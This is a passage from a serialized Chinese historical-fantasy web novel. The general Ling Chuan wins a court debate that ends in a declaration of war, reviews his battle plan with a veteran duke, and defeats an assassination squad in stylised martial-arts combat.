皇帝见时机也差不多了,便开始打圆场,声音带着几分威严:“凌川,年轻人不要太气盛了。你们都是大周的中流砥柱,彼此退一步嘛!” 然而,凌川却是摇了摇头,声音清晰传遍大殿:“陛下!请恕臣抗命不遵之罪!” 此言一出,满殿皆惊! 连皇帝周承渊的脸色都瞬间沉了下来,心中暗道:这小子该不会是杀疯了,要在这朝会上当着文武百官的面把自己也骂个狗血淋头吧? 那些被骂得喘不过气来的黄齐二党官员见状,脸上无不露出幸灾乐祸的冷笑。 不少人心中暗骂:‘此子不知进退,竟敢当面顶撞陛下,今日怕是要被当场处置!’ 宋家三父子以及催鉴等人,也都为凌川暗自捏了一把冷汗,宋鹤年更是下意识地往前迈了半步,准备随时出列求情。 只见凌川径直来到大殿中央,犀利的目光从黄齐二党一众官员身上扫过,紧接着,他面朝皇帝郑重行了一礼,声音陡然拔高: “陛下!在北境边关,面对来势汹汹的胡羯大军,臣及麾下将士半步都不曾退过,因为,臣等所有人心里都清楚,退一步就是山河失守,退一步就是苍生遭劫、山河破碎,退一步就是百姓流离失所、血流漂杵!” 凌川声音铿锵,如剑戟铮鸣:“我辈边军血染边关死则死矣,但帝国疆土却是半寸不让!更何况是整整十二个州县的锦绣河山,百万黎民的家园故土!” 这番铿锵有力的发言,将满朝文武彻底镇住。 一众武官只觉热血上涌,双拳紧握;不少文官也觉胸中激荡,面露慨然之色。 “如此说来,凌将军是建议与大和帝国开战了?” 就在此时,一道不冷不热的声音传来,说话之人正是黄千浒,他缓步出列,目光幽深地看向凌川。 凌川目光微凝,直视这位权倾朝野的内阁首辅,坚定吐出四个字:“那是当然!” 黄千浒眼中闪过一丝几不可察的嘲讽,淡淡道:“凌将军少年意气,勇气可嘉!但你可知,打仗绝非儿戏?打赢了还好,要是打输了,那可就不是十二州县的问题了,整个中原都将陷入万劫不复的深渊!”他声音陡然提高,厉声质问道:“这后果,你担待得起吗?” 凌川闻言,发出一声意味悠长的叹息,那叹息声中带着深深的无奈与痛心:“黄首辅,你可知中原文明传承数千年,哪怕历经磨难,可每逢国家最黑暗、民族最绝望的时候,总有人浑身鲜血地拉我们站起来!也总有人衣冠楚楚地想让我们跪下去!” 紧接着,凌川的声音陡然转厉,如同惊雷炸响:“对于一个民族来说,真正的灭顶之灾不是强敌环伺,更不是战火蔓延,而是抽掉所有男人的脊梁与血性,再拿掉所有女人的善良与廉耻!” 这两句话,宛如九天惊雷在大殿上空炸响,所有人只感觉脑袋嗡嗡作响。 无论是在场文武官员还是坐在龙椅之上的皇帝,皆是浑身一震,眼神由呆滞逐渐转变成震撼与深思。 偌大的承天殿鸦雀无声,连呼吸声都清晰可闻。 宋鹤年的目光中除了激动和赞赏之外,还有难以掩饰的钦佩。 这位三朝老臣仿佛看到了年轻时的自己,那份为国为民的赤诚之心至今未灭。 齐清远与黄千浒这两位文官集团的首脑,目光之中也出现了刹那的恍惚,凌川的话像一把钥匙,打开了他们尘封已久的记忆,想起了年少时立下的报国志向。 “呵呵……”黄千浒率先回过神来,发出一串意味不明的冷笑,强行压下心中的波动,“场面话谁不会说?可问题是,谁去打?你去吗?” “首辅大人不用担心!”凌川回答得斩钉截铁,“这边关打仗的事情,自然是我们这些带甲莽夫去!至于我,陛下若是派我去,我绝不推辞半句!” “好!真不愧是我大周军中的年轻翘楚!”黄千浒抚掌,眼中却闪过一丝老奸巨猾的冷光,“可老夫想问凌将军一句,若是打输了怎么办?” 此言一出,直接把凌川给架了起来。 大殿中,所有人都在等着骑虎难下的凌川表态,这其中也包括皇帝。现场的气氛凝重得让人窒息。 若是他不敢立下‘军令状’,那之前那连番的慷慨陈词,只会打他自己的脸,成为朝堂笑柄。 若是他立下‘军令状’,则等于将一副千钧重担独自扛在肩上,作茧自缚。 东疆局势敌强我弱,光是大和帝国的十万水军就足以压得东疆水师喘不过气来,更何况还有诸多小国虎视眈眈。 第一卷 第522章 正式宣战 见所有人目光灼灼地盯着自己,凌川嘴角勾起一抹冰冷的弧度,他岂会不知这些人在打什么主意?同样,他又岂会是吃亏的主? “既如此,那我凌川今日便在这朝堂之上,当着陛下的面立下军令状!”凌川声音清朗,掷地有声,“如果陛下派我到东疆,我若战败,也无需你们动手,我直接葬身东海,以死谢罪!” 他略微停顿,目光如电扫过黄千浒等人,语气陡然转厉:“但若我凌川侥幸获胜,击退强敌,守住疆土!那么,就请今日力主避战、质疑凌某的诸位大人,自行摘下顶上乌纱,解绶还印,归隐田园,安享晚年!” “不知诸位,可敢与凌某,赌上这一局?” 此言一出,那些官员脸上的笑容瞬间僵硬。 他们没想到凌川竟然会反过来反将他们一手,局势瞬间调转,这下轮到他们难受了。 倒不是说他们相信凌川能取胜,而是这本就是不公平的一场赌注,若凌川败了,他们并不能得到什么好处,反之,若是这家伙真能取胜,他们却是要失去头上的乌纱帽,这换谁都不干。 更致命的是,凌川此举暗藏机锋:若他们此刻应下此赌,岂不是公然表明,他们内心是期盼着大周战败? 偌大的承天殿再次陷入死寂,方才还气势汹汹的黄齐二党官员,此刻个个面色铁青,眼神躲闪,无人敢接话。 就连老谋深算的黄千浒,也陷入了沉默,显然在急速权衡利弊。 高坐龙椅的皇帝,将这一幕尽收眼底,嘴角几不可察地微微上扬。 见凌川已凭借一己之力,将反对开战的气焰彻底打压下去,他便知道,时机已然成熟。 “好了!”皇帝周承渊终于再次开口,声音带着不容置疑的决断,“既然争议已明,朕决定——大周,正式向大和帝国,宣战!” 他声音朗朗,如同玉磬敲响,在殿宇间回荡。 紧接着,一连串清晰而迅捷的命令精准下达,如同战鼓般擂响: “户部尚书顾承均听令!” 尚在震惊中未能完全回神的顾承均一个激灵,连忙出列跪倒:“臣……臣在!” “户部即刻征调粮草,半月之内务必送达东疆各州,不得延误!” “臣遵旨!”顾承均声音发颤,却不敢有丝毫犹豫。 “兵部尚书耿云旌听令!” 耿云旌一步踏出,甲胄铿锵:“臣在!” “兵部立马下达调令,从徐州、兖州、青州等地抽调兵力,支援东疆!” “遵旨!”耿云旌的回答干脆利落。 “刑部尚书林青迟,廷尉府总督阎鹤诏听令!” 两位司法重臣应声出列:“臣在!” “朕命你两部,共同负责东疆水师军纪整顿!无论是谁胆敢消极怠战,不用请奏,直接就地正法!” “臣等遵命!”阎鹤诏与林青迟齐声领命,声音冷冽。 “工部尚书陈牧听令!” “臣在!”工部尚书陈牧快步出列。 “工部加紧锻造兵甲军械,实在来不及,从内地各州县抽调,务必满足东疆战事所需!” “谨遵圣喻!”陈牧躬身领命。 这一系列命令,如行云流水,环环相扣,展现出了皇帝应对战争的充分准备和清晰思路。 殿内百官,无论是何派系,此刻心中都掀起了惊涛骇浪。 他们第一次如此清晰地感受到,这位看似多年不理细务的皇帝陛下,其手段与魄力,远非他们想象中那般庸碌! 皇帝在这个时候崭露锋芒,显然也是另有深意,既是告诉某些人,自己并非他们认为的那般庸碌不堪!同时,也是在告诉另一批人,自己绝非是他们臆想中那个可以随意拿捏的软柿子。 然而,让许多暗中揣测圣意之人人感到意外的是,下达完这一系列备战命令后,皇帝却并未提及对凌川的任何安排。 见皇帝端起茶杯,年轻太监小宁子便立马开口喊道:“有事启奏,无事退朝!” 下方鸦雀无声,无人开口。 “退朝!”小宁子再次喊道。 百官再次行礼恭送陛下。 皇帝起身,拂袖转身,身影消失在通往内殿的侧门之后。 然而,就在百官刚松一口气,准备依序退出大殿时,隐隐约约地,从后堂方向竟传来一阵爽朗、畅快的大笑声。 那笑声穿透厚重的殿门,清晰地钻入每一位官员的耳中。 黄齐二党的官员脸色瞬间变得无比难看,黄千浒袖中的拳头死死握紧,齐清远更是气得浑身发抖。 今日这场朝会,堪称他们仕途生涯中最耻辱的一页。 凌川随着人流走出承天殿,午后的阳光有些刺眼,他正准备走向自家的马车,却听见身后传来一阵急促的脚步声。 “凌将军!凌将军请留步!” 凌川回头,只见工部左侍郎娄桓小跑着追了上来,额角带着细密的汗珠,脸上堆着热情而又局促的笑容。 “娄大人?”凌川停下脚步,有些诧异,“找凌某有事?” 娄桓跑到近前,恭敬地拱了拱手:“凌将军,日前下官冒昧向您请教锻造之法,承蒙将军不吝赐教,回去一试,果真效果非凡!一直想寻机答谢,不知将军今日可否赏光,让下官略备薄酒,聊表谢意?” 凌川看着他诚恳的样子,不由觉得有些好笑,半开玩笑地说道:“娄大人,如今这朝堂之上,半数官员恨不得将我凌川千刀万剐。你此刻与我走得这般近,就不怕受我牵连,被殃及池鱼吗?” 娄桓闻言,却是坦然一笑,摆了摆手:“将军说笑了!下官不过是个匠人出身,靠着祖传的手艺在工部混口饭吃。这辈子能坐到这个侍郎的位置,已是心满意足。谁会有那闲工夫,来为难我这么一个无关紧要的工匠?”他话语朴实,透着一股子匠人特有的淡泊。 凌川被他这番心态感染,笑着点了点头:“也罢,反正今日也无他事,不知娄大人准备在何处设宴?” 娄桓搓了搓手,脸上露出一丝不好意思的讪笑:“将军,外面酒楼人多眼杂。若是将军不嫌弃,不如……就直接去下官在工部的那个小作坊如何?” 他小心翼翼地看着凌川的脸色,“那里虽然简陋,但清净!” 第一卷 第523章 作战策略 凌川闻言,眉头一挑,似笑非笑地看着他:“看来娄大人今日这顿饭,是醉翁之意不在酒啊!” 娄桓见心思被点破,脸上尴尬之色更浓,连忙作揖:“将军明鉴!实在是最近又遇到了难关,想着将军或许能有妙法……下官绝非刻意怠慢!” 看他急得额头冒汗,凌川也不再为难,洒脱地一挥手:“无妨!既是探讨技艺,去哪儿都一样,带路吧!” “哎,好!将军请随下官来!”娄桓顿时喜出望外,连忙引着凌川走向工部的马车。 工部位于皇城东南隅,占地颇广,而其中最为核心的,便是兵器监。 此地戒备森严,高墙之内,炉火终年不熄,叮当锻打之声不绝于耳。 马车内,娄桓主动向凌川介绍起自己的家世。 原来他家祖上四代皆在工部任职,手艺代代相传,他父亲临终前再三叮嘱,娄家子弟,无论官居何位,这吃饭的手艺绝不能丢。 所以,哪怕他忝居侍郎之位,一有闲暇,还是会钻进作坊里,亲手抡锤锻铁。 很快,马车在兵器监一处僻静院落前停下,院内堆放着各类矿石、木炭,空气中弥漫着烟火与金属的气息。 娄桓早已命人备好了一桌酒菜,环境虽无酒楼奢华,但菜肴丰盛,酒也是窖藏的好酒。 两人落座,推杯换盏,几杯酒下肚,娄桓便迫不及待地开始请教关于淬火、回火等方面的技术难题。 凌川虽手上功夫不行,但理论知识远超这个时代,他深入浅出地讲解,娄桓听得如痴如醉,眼中闪烁着醍醐灌顶般的光芒。 酒至半酣,凌川尚在独酌,娄桓却已按捺不住,告了声罪,直接跑到旁边的炉灶前,拉起风箱,亲手操持起来。 一时间,值房内只剩下凌川一人自斟自饮,而隔壁作坊里则传来了叮叮当当的敲打声。 待到凌川酒足饭饱,起身准备告辞时,娄桓还沉浸在锻造实验中,连饭都顾不上吃,满手煤灰,脸上却洋溢着狂喜。 他只好唤来一名下属官员,恭送凌川离开。 回到镇北王府,已是夕阳西斜。 凌川与苏璃简单说了今日朝会之事,便再次钻进了书房,东疆的作战策略虽已有了框架,但许多细节仍需完善。 他心中笃定,皇帝必定会将他派往东疆,至于为何今日未在朝堂宣布,恐怕与明日即将举行的授封大典有关。 不知不觉,窗外夜色已深如浓墨。 凌川点亮书案上的油灯,昏黄的光晕在黑暗中撑开一片温暖的天地。 房门被轻轻推开,苏璃端着热气腾腾的饭菜走了进来,碗中升腾的热气在她姣好的面容前缭绕。 “相公,明日便是授封大典,需早起准备,还是早些歇息吧!”她将饭菜轻轻放在书案一角,柔声劝道。 凌川从沉思中回过神来,抬起头,对上妻子关切的目光,心中一暖。 他站起身来,活动了一下有些僵硬的脖颈,笑道:“娘子且先休息,我得去一趟国公府!” 苏璃闻言,神色微变,连忙问道:“相公可是遇到了难题?” 凌川微微摇头,说道:“倒也不是,只是这套策略毕竟是凭空推演而来,我得让老将军看看才放心!不然,若是出了差错,陛下怪罪事小,若是贻误了东疆战事,那罪过可就大了!” “我陪相公一起去吧!”苏璃说道。 “我知道路,很快就回来!” 凌川说完,卷起桌上的地图,径直出门,为了赶时间,他甚至连马车都没乘坐,而是直接骑马出行,只带了洛青云一人随行。 夜风拂面,带着初秋的凉意。街道两旁的灯火逐渐亮起,将两人的身影拉得很长。 来到国公府门前,姚管家正欲关门,见凌川到来,热情地将二人领了进去。 “姚管家,老将军休息了吗?”凌川问道。 姚管家走在前面,摇头道:“国公爷睡得晚,一般都是亥时过后才就寝!” 一路来到书房,只见张破虏坐在书桌跟前,手指在地图上来回划动,时不时用笔做出各种标记,额头上已经沁出了细密的汗珠。 安国公则是手里端着一杯酒,眼睛却来回在桌上的地图间游走。 见孙子将求助的目光看向自己,他只是狠狠一眼瞪了回去,说道:“小兔崽子,你瞅我作甚?这是凌将军对你的考验,别想我帮你!” “老爷,凌将军来了!”老管家小声通报。 安国公抬起头,正好看到站在门口的凌川,他直接放下酒杯迎了上来,张破虏也连忙起身跟在爷爷身后。 “凌将军,你怎么来了?” 凌川笑道:“老将军,深夜造访,没打搅到您吧?” 张泊远笑着拍了拍他的肩膀,说道:“说什么打搅,太见外了,快进来!” 进屋之后,凌川扫了桌上的地图一眼,便已然看出张破虏正在完成自己布置的战略部署,地图上密密麻麻的标记显示出这个年轻人确实下了一番苦功。 其实,凌川心里很清楚,如此大规模的战事部署,就算是兵部那么多的将领谋士,也需要花很长的时间才能完成。 之所以让张破虏十日内完成,倒不是刻意刁难,而是想要看看他的格局上限和应变能力。 “把你这些见不得人的东西收起来!”安国公对孙子张破虏说道。 后者连忙将地图收了起来,脸上带着几分羞愧,安国公指了指桌上的酒壶,说道:“你这狼血真带劲,小酌一杯,睡觉都香了!” 凌川进屋的时候,便已经闻到狼血的酒香味了,笑着回答道:“那我以后定期给老将军送些来!” “哈哈哈……你有这份心,老夫就知足了!”安国公顺手拿来一只干净杯子,给凌川倒了一杯,问道:“小川,你这个时候来,是有什么急事?” 凌川点了点头,说道:“陛下让我制定作战策略,我已经基本做好了,但还是不放心,想让老将军帮忙把把关!” 随即,他拿出自己带来的地图,上面标注着详细的战略布局。 第一卷 第524章 再遇刺杀 凌川一边指着自己的标注一边口述自己的想法,爷孙二人站在一旁,目光紧盯着地图,脸上的震惊之色却越来越浓。 片刻之后,凌川将整个作战布局讲完,却发现爷孙二人满脸呆滞地看着地图。 “老将军,可是觉得我这战略布局有漏洞?”凌川试探着问道。 安国公这才抬起目光看向凌川,问道:“这真是你只用了一天时间制定的战略布局?” 凌川点了点头,说道:“今日奉旨上朝,之后又去了趟工部,半个时辰前才勉强完成。” “若非亲眼所见,老夫绝不敢相信,这世间竟有如此天才,简直就是天生的将帅!”安国公的声音中满是震惊与激动。 随即,他将杯中狼血一饮而尽,继续说道:“一个从未到过东疆的人,竟然仅凭地图和他人提供的描述,制作出如此详细的战略布局,仅此一点便匪夷所思!” 凌川闻言,笑道:“这都得归功于老将军给我的地图上,无论是地形地貌、关隘城池、还是气候条件乃至驻军数量以及兵种配置,都进行了详细描述,否则,我也是巧妇难为无米之炊!” 安国公却是摇了摇头,说道:“你太谦虚了。我给你的那些东西就算是交到兵部,他们也不可能在这么短的时间内完成,而且,就算完成了,也未必有你做得好!” 凌川也没想到老将军竟会给出如此之高的评价,要知道,兵部之中卧虎藏龙,既有用兵大家,也不乏了解东疆的将领谋士。 只见安国公放下酒杯,指着地图上的一处标注,说道:“这里,当年老夫不是没想过利用地形上的优势来一场围歼战。但我去实地查看了地形,发现若要围住敌军,需投入大量兵力,稍不留神便会形成混战。没想到,竟然在你手中完成了布局!” 凌川笑道:“老将军过奖了,我也只是纸上谈兵而已,到底能不能实现,还得到地方仔细琢磨。更何况,战局瞬息万变,有可能一开始就偏离了既定方向,一切的布局都派不上用场。” 安国公点了点头,说道:“是啊!主帅坐镇中军幕后,比的是谁的布局更精妙,比的是谁的应变能力更强,同样,也是比谁犯错更少!” 随即,他再次将目光放到地图上,对凌川的每一处布局都进行了点评,可越是点评到最后,他内心越是震惊。 很多部署看似天方夜谭,但如果细看凌川的策略会发现,这其中环环相扣,竟然将不可能变成了可能。 更令他惊奇的是,凌川将胆大心细这四个字诠释到了极致,很多天马行空的想法,就算是他这位统率东疆水师数十年的老将都感觉脊背发凉。 他脑海中更是冒出一个念头:千万不要在战场上遇到这样的对手! 许久之后,他才转过目光看向张破虏,说道:“臭小子,你要是能学到凌将军一成本事,便足以让你在沙场立足!” 凌川则是尴尬一笑,说道:“老将军,我这次来,是想请您帮忙把把关,看这份作战策略是否有漏洞,以免铸成大错。” “哈哈哈哈……”安国公捻须大笑道,“老夫打包票,这份作战策略就算是放到兵部,也没有人能挑出毛病。如果真有人鸡蛋里挑骨头,你就用大嘴巴子呼他!” 听到这位前任东疆主帅都这么说,凌川也放下心来。 “时间不早了,那我就不打搅了!”凌川收起地图,起身告辞。 凌川离开之后,安国公一脸严肃地对孙子说道:“这份作战策略关乎重大,切不可对任何人提及半个字!” 张破虏郑重点头,“爷爷放心,这个我心里明白!” 离开国公府,凌川长舒了一口气。 神都不设宵禁,所以哪怕夜深,街道上也能见到人来人往,商铺门口的灯笼连成一片,小贩的吆喝声此起彼伏,勾勒出一派繁华景象。 看到这灯火通明的街道,凌川不由感叹:若有朝一日外敌踏足神都,不知道有多少百姓要葬身铁蹄与屠刀之下。 洛青云紧跟在凌川身后半个马位,本就不善言辞的他,跟以往一样,始终保持着沉默。 “你一直都这样不爱说话?”凌川好奇地侧过脸,看着他问道。 洛青云摇了摇头,说道:“我进入禁军的第一天,老伍长便告诉我,在禁军中想要活得久,就要少说话!” 凌川点了点头,这看似平常的一句话,却透露出了太多的无奈。 那高墙大院的皇宫之中,每个人都充满了无奈,下至太监宫女,上至皇帝,无一例外。 不知不觉中,二人路过一条漆黑小道。 相比起前面的灯火通明,这一段路显得漆黑而安静,就连平时的犬吠声都消失不见。 凌川微微蹙眉,他已然从中感受到了无形的杀机。 不过,他并未止步,而是面色从容,继续朝着前方行进,只是右手已经不自觉地按在了刀柄上。 不多时,洛青云似乎也感受到了这股杀机,眼角余光不自觉地瞄向挂在得胜钩上的长槊,左手悄悄松开了缰绳,随时准备出手。 忽然,凌川轻带缰绳,目光灼灼看向前方的黑暗中,尽管那里空无一物。 随即,他淡淡开口道:“诸位还不动手,在等什么呢?” 以凌川现在的感知力,能轻松捕捉到数十丈之内的一切风吹草动,尽管黑暗中依旧没有任何动静,但他可以肯定,暗中一定有杀手潜伏。 自进入神都之后,刺杀的戏码经历了已经不止一次,敌人将这一次刺杀选择在授封大典前夜,无疑是他们最后的疯狂。 洛青云已经摘下长槊,紧握在手中,双目如电,扫视八方,他的坐骑似乎也感受到了紧张气氛,不安地踏着蹄子。 “咻咻咻……” 忽然,一道道破空声打破了黑夜的宁静,只见一道道寒芒自黑暗中疾射而来,宛如月下寒星,朝着凌川笼罩而来。 “将军小心!”洛青云惊呼一声,驱马上前,想要挡在凌川身前,毕竟,凌川出门得急,并未披甲,而他却是身着铠甲。 第一卷 第525章 最后的疯狂 “唰……” 只见一道寒芒出鞘,凌川猛然拔出战刀,刹那间,只见数道刀芒挥洒而出,交织成一片刀影,将那迎面射来的暗器尽数挡下。 暗器撞击在刀锋上,迸发出点点火星,在夜色中格外醒目。 饶是洛青云,也被凌川这一手惊得不轻。 以他的修为,自然能看出,那一片刀芒并非残影,而是凌川在刚才的电光火石间连出了数刀,速度快到令人难以置信。 事实上,就连凌川本人也略感诧异。 就在刚才,那漫天暗器朝着自己飞射而来,可随着他集中意念,那些暗器的速度竟骤然减缓,仿佛瞬间变得缓慢一般。 他猛然拔刀,连出数刀将成片暗器震飞,整个过程一气呵成。 以至于,凌川自己也有那么瞬间的恍惚:到底是暗器的速度变慢了,还是自己的速度变快了? 随着那成片暗器被荡飞,黑暗中人影绰绰,大批黑影出现在前方,领头之人乃是一名身着锦衣的中年男子。 他面色苍白,眼神阴鸷,嘴角挂着一丝若有若无的冷笑。 他双手环抱,面带笑意,可那笑容之中却仿佛藏有杀人利器,让人不寒而栗。 紧接着,后方也不知何时出现大批人影,一个个手持刀剑弓弩,杀气弥漫。 与此同时,两侧的房屋传来密集响动,所有窗户同时打开,紧接着,一张张拉满弓弦的强弓从窗户中探出,冰冷的箭镞闪烁着点点寒芒,将凌川二人锁定。 凌川见状,神色如常,眼神中没有丝毫畏惧,只是紧握着手中战刀,目光冷静地扫视着四周的敌人。 一侧的洛青云则是浑身神经紧绷,迅速调动真气,流转全身筋脉。他紧握长槊的手指关节因为用力而微微发白,眼神中写满杀意。 “凌川,你能活到现在,真是令人意外啊,只可惜,你活不到明日的授封大典了!”那身着锦衣的中年男子依旧面带笑意,声音却冷得像冰。 凌川的嘴角同样勾起一抹冷笑,说道:“明日就是授封大典,这对于你们来说,是最后的机会。可我还是刻意现身,给你们这个机会,你猜这是为什么呢?” 听闻此言,男子的脸上看不到半点怒意,说道:“你很聪明,但别人也不是傻子。我们都知道,你肯定有布置,但我们还是来了,你猜这又是为何?” “哦?愿闻其详!”凌川一脸放松的姿态,似乎对周围的强弓劲弩全然不察。他甚至还有闲暇整理了一下衣袖,这个动作让对面的锦衣男子眼神微凝。 “因为,我们这些人都没想过活过今晚!”锦衣中年男子语气平淡,仿佛只是在说一件微不足道的小事。 但他身后那些杀手的眼神却更加坚定了,显然都抱着必死的决心。 凌川露出一抹苦笑,叹息道:“没想到,为了杀我,你们竟然如此不计代价。真不知是我的荣幸呢,还是我的不幸!” 紧接着,凌川再次看向中年男子,说道:“为了引你们现身,可真是苦了我啊。估计,现在廷尉府和禁军已经顺藤摸瓜,将你们所在的据点一一拔除了吧!” 听到这话,中年男子的脸上终于浮现出一丝惊恐。 他不知道凌川所说的是真是假,但这种可能性让他心生不安。 原本以为凌川故意引他们现身,是为了将自己等人一网打尽,不曾想对方真正的目的是他们背后的据点。 “动手!” 一声冷喝,打破了黑夜的寂静。 只不过,这声冷喝并非是那锦衣男子喊出的,而是出自凌川之口。 就在他话音落下的瞬间,街道两侧传来密集的脚步声,还有战刀出鞘和铠甲碰撞的声音,这声音由远及近,带着肃杀之气。 “杀!”成片喊杀声自两侧传来,只见苍蝇和沈珏各自率领数百全副铠甲的士兵杀来,将街道两侧全部堵死。 这些士兵行动迅捷,阵型严整,一看就是精锐之师。 与此同时,两侧的房屋之中也响起了杂乱的打斗之声,显然是凌川事先埋伏的人手正在清除屋顶的弓箭手。 中年男子脸上惊骇之色更甚,大喝道:“动手!先杀了凌川!” 话音刚落,两侧的黑衣杀手便一起朝着凌川与洛青云杀去,两侧房间窗口也开始放箭。 箭矢如雨点般射向二人,凌川冷喝一声,只见他左手在身前一划,一片淡金色光幕浮现在虚空中,与一禅和尚的般若金钟罩有异曲同工之妙,不过,那道金色光幕就要虚淡很多。 即便如此,依旧将那些箭矢尽数挡下。 “杀!”锦衣男子见状,目光为之一惊,随即下令。 正如他之前所言,他们一开始便没想过要活着离开,只要能杀了凌川,便是完成任务。 所以,他们必须趁着街道两侧的那些援军赶到之前,先行将凌川干掉。 可惜,他们终究低估了援军的速度,短短十余个呼吸,两侧士兵便已经杀到跟前,直接扑向那些黑衣杀手。 霎时间,喊杀声、兵刃相交声、惨叫声顿时响成一片。 而就在此时,凌川直接从马背上一跃而起,身形如大鹏展翅,径直扑向那中年男子。 他人在半空,手中战刀已经划出一道凌厉的弧线,直奔前方斩去。 男子神色不变,抬手间再次射出大量暗器。这一次的暗器更加密集,有飞刀、铁蒺藜、透骨钉等,不仅种类繁多,更是从不同角度飞射而来,由此可见,此人在暗器领域的造诣极深。 凌川挥刀一斩,刀光如匹练般展开,叮叮当当的声响不绝于耳,暗器落了一地。 而就在那中年男子射出暗器的同一时间,两道黑影飞射而出,直奔凌川而来。 这二人一男一女,皆是用刀,男子身形魁梧,手持一把鬼头大刀,女子身姿娇小,手持两把弯刀,一起扑向凌川,形成夹击之势。 “受死!” 男子一声暴喝,手中鬼头大刀朝着凌川迎面劈下,这一刀势大力沉,刀风呼啸,注意开山裂石。 凌川不闪不避,抬手一刀撩起,硬撼这刚猛霸道的一刀,他这一刀看似随意,实则蕴含着磅礴真气。 “铛!” 第一卷 第526章 霸道一拳 伴随一道刺耳欲聋的金铁交鸣声炸响,魁梧男子只觉一股无可抗拒的巨力沿着刀柄狂涌而来,震得他双臂筋脉酸麻,虎口瞬间崩裂,温热的鲜血汩汩涌出,染红了刀柄。 他手中那柄厚背鬼头大刀,竟被硬生生劈开一道触目惊心的豁口,刃口翻卷,仿佛在无声哀鸣。 他踉跄后退数步,方才稳住身形,脸上写满了惊骇与难以置信。自己乃是实打实的五重境高手,方才更是抢占了先机,倾力一击,竟被对方仓促间挥出的一刀逼退,甚至兵器受损,虎口震裂。 凌川的实力,远比他预估的更为恐怖,这让他心底第一次涌起了寒意。 就在魁梧男子心神剧震之际,两道森冷寒芒如毒蛇出洞,一左一右,交织成一片致命的死亡之网,将凌川周身要害笼罩。 是那名女子出手了,她身法诡谲,双刀舞动之快,只见两道银蛇乱闪,破空之声尖锐刺耳,直取凌川咽喉与心口,狠辣异常。 然而,在凌川那双深邃如星辰的眼眸中,女子那迅捷无比的攻势,仿佛被无形之力放缓了十倍不止。 面对迎面袭来的夺命双刀,凌川并未选择闪避,只是手腕一抖,手中苍生刀后发先至,如流星赶月,精准无比地向前一点。 “嗤……” 一声轻响,利刃割裂皮肉,声音微不可闻,就在女子的双刀锋刃即将触及凌川衣袍的刹那,一抹凄艳的血花自她胸口骤然迸射而出。 女子闷哼一声,身形如断线风筝般倒飞回去,重重跌落在地。她低头望去,只见胸前一道刀伤触目惊心,鲜血如泉喷涌,瞬间染红了衣襟。 她抬起头,眼中充满了极致的惊愕与茫然,似乎无法理解,自己苦练多年的快刀,为何在对方眼中如此不堪一击,瞬间被其找到破绽。 然而,凌川并未给她任何喘息之机。 不等女子挣扎着站稳,他已如鬼魅般贴身而至,手中战刀横扫,一道凝练至极的寒芒泼洒而出,没有任何花哨虚招,简洁、凌厉,带着收割生命的冰冷决绝。 女子亡魂大冒,强烈的死亡阴影笼罩而下,她顾不得胸口剧痛,慌忙举起双刀交叉格挡。 “叮!叮!” 两声尖锐到几乎能刺破耳膜的脆响几乎同时传来。 在那道绚丽的寒芒之下,她手中那对百炼精钢打造的弯刀,竟如枯枝般应声而断,随之一起被无情划开的,还有她白皙的脖子。 女子双目圆瞪,瞳孔中倒映着凌川冰冷的面容,充满了不甘与恐惧,随即身体一软,颓然倒地,再无声息。 这一切皆发生在电光火石之间。 直到同伴殒命,那魁梧男子才从震惊中回过神来,他目眦欲裂,发出一声野兽般的怒吼,周身真气狂暴涌动,不顾虎口伤势,再次提起鬼头大刀,状若疯虎般扑向凌川,刀风呼啸,势大力沉,欲将凌川劈成两半。 凌川赫然转身,面对这含怒一击,面色不变,手中苍生刀划出一道玄妙弧线,一记松涛翻浪,轻松将其荡开。 男子被震得连连后退,以致空门大露。 凌川抓住这难得的机会,收刀疾刺,如寒星乍现,贯月而去,直取对方心口。 这一式寒星贯月快得超乎想象,男子只觉眼前一花,一道致命的寒芒已至胸前,他根本来不及做出有效反应,只能凭借战斗本能,下意识地将鬼头大刀厚重的刀身横挡于前。 “叮!” 尖锐到极致的撞击声响起,伴随着一朵耀眼的火星在昏暗的夜色中炸开,凌川手中苍生刀的刀尖,不偏不倚,精准无比地点刺在鬼头大刀的刀身正中。 魁梧男子闷哼一声,只觉一股尖锐无匹的穿透力透刀而来,震得他再次连连后退,胸口一阵剧痛。 他骇然低头望去,只见那厚实的刀身竟被一点贯穿,一个细窄的孔洞赫然出现,虽然刀身抵消了大部分力量,但苍生刀的刀气依旧透入体内三寸,鲜血瞬间从他胸前衣袍渗出。 只差毫厘,便可刺破心脏! 男子踉跄后退,体内真气紊乱,剧痛与恐惧交织。还未等他站稳身形,一股凌厉的杀机已扑面而来。 他惊恐地发现,凌川不知何时已如影随形,欺近身前,那张年轻却冷峻的面容近在咫尺。 “轰……” 凌川没有再出刀,而是简简单单一拳递出。 这一拳,看似朴实无华,却在递出的瞬间,引动了周遭气流,拳头之上蕴含的真气磅礴如海,骤然爆发。 仿佛一颗天外陨石狠狠砸入平静湖面,恐怖的真气浪潮以拳头为中心,轰然席卷开来。 魁梧男子的身躯,在这无可抵御的巨力面前,宛如狂风中的一片枯叶,毫无反抗之力地离地倒飞出去。 人还在空中,他上身的衣衫便被肆虐的真气撕裂,化作漫天蝴蝶般的碎片纷飞,一口混杂着内脏碎块的鲜血狂喷而出,在空中形成一片血雾。 “砰!” 他的身躯如同破麻袋般,重重砸在冰冷坚硬的青石街道上,发出一声沉闷的巨响。 整个胸口彻底凹陷下去,形成一个深可见骨的拳印,五脏六腑已被震得粉碎,生机瞬间断绝,唯有那双兀自圆瞪的眼睛,残留着临死前的惊骇与绝望。 这一幕,让不远处始终冷眼旁观,自以为掌控全局的锦衣男子神色巨变,脸上的从容与阴冷瞬间被惊惧所取代。 两名配合默契的五重境高手,在凌川面前,竟如土鸡瓦狗般,短短数个照面便被干脆利落地秒杀,这凌川的实力,比此前情报中记录的强了太多太多。 另一边,正被数名悍不畏死的杀手拼死纠缠的洛青云,原本心急如焚,想要摆脱杀手前去支援,此刻见到凌川电光火石间连斩两名强敌,尤其是那石破天惊的一拳,心中震撼无以复加,随即暗自苦笑,发现自己先前的担忧完全是多余的。 随着街道两头的苍蝇和沈珏带领援军加入,那些杀手面对全副兵甲战兵,根本就没有抵抗之力,当场被碾压。 第一卷 第527章 授封大典 若论单兵作战能力,他们或许不输边军,但,面对结阵杀来的边军,他们即便是在人数上两倍与对方,也没有任何胜算,更何况,这些还都是凌川的亲兵和死字营中挑选出的好手,战力异常惊人,至于兵器和铠甲方面,双方根本没有可比性。 与此同时,两侧房屋之中的战斗也愈发激烈,显然他们的人已经杀了进去,相信用不了多久,便能将那些杀手尽数除掉。 